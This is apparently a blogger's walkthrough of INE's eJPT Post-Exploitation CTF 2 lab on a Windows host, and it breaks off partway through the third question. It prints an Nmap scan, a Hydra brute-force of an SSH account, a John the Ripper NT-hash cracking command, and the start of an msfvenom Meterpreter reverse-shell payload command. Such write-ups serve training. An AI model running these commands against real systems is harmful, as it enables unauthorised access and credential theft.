Summary
Host & Network Penetration Testing: Post-Exploitation CTF 2 — eJPT (INE)
A walkthrough covering SSH brute-forcing, NTLM hash cracking, SeImpersonatePrivilege escalation with PrintSpoofer, and DACL manipulation to capture all four flags.
Hello everyone!
In this writeup, I’ll walk through Post-Exploitation CTF 2 from INE’s eJPT path. One Windows target this time — and the lab chains together four techniques nicely, each building on what the previous step uncovered.
So, let’s dive in.
Q. An insecure SSH user named alice lurks in the system.
As usual, I started with an Nmap scan:
nmap -sV -O -sC -T5 target.ine.local
Several ports were open — SSH on 22, SMB on 445, and RDP on 3389. OS fingerprinting pointed at Windows 8.1 / Server 2012 R2.
The question pointed directly at SSH user alice
with a weak password, so I brute-forced it with Hydra:
hydra -l alice -P /usr/share/wordlists/metasploit/unix_passwords.txt target.ine.local ssh
Password found. I logged in via SSH and listed the home directory.
Flag 1 was sitting there alongside a hashdump.txt
file — clearly left as a hint for the next question.
Q. Using the hashdump file discovered in the previous challenge, can you crack the hashes and compromise a user?
I copied the contents of hashdump.txt
locally and ran John the Ripper against it, specifying the NT hash format:
john —format=nt —wordlist=/usr/share/wordlists/metasploit/unix_passwords.txt hashdump.txt
Two accounts cracked — alice
and david
, both with weak passwords. I logged in as david
via SSH:
Flag 2 was in david’s home directory.
Q. Can you escalate privileges and read the flag in C:\Windows\System32\config directory?
The config
directory is heavily restricted — even admin accounts are often blocked from it without SYSTEM-level privileges. I needed to escalate.
Get Suraj Apar’s stories in your inbox
Join Medium for free to get updates from this writer.
First, I generated a Meterpreter payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=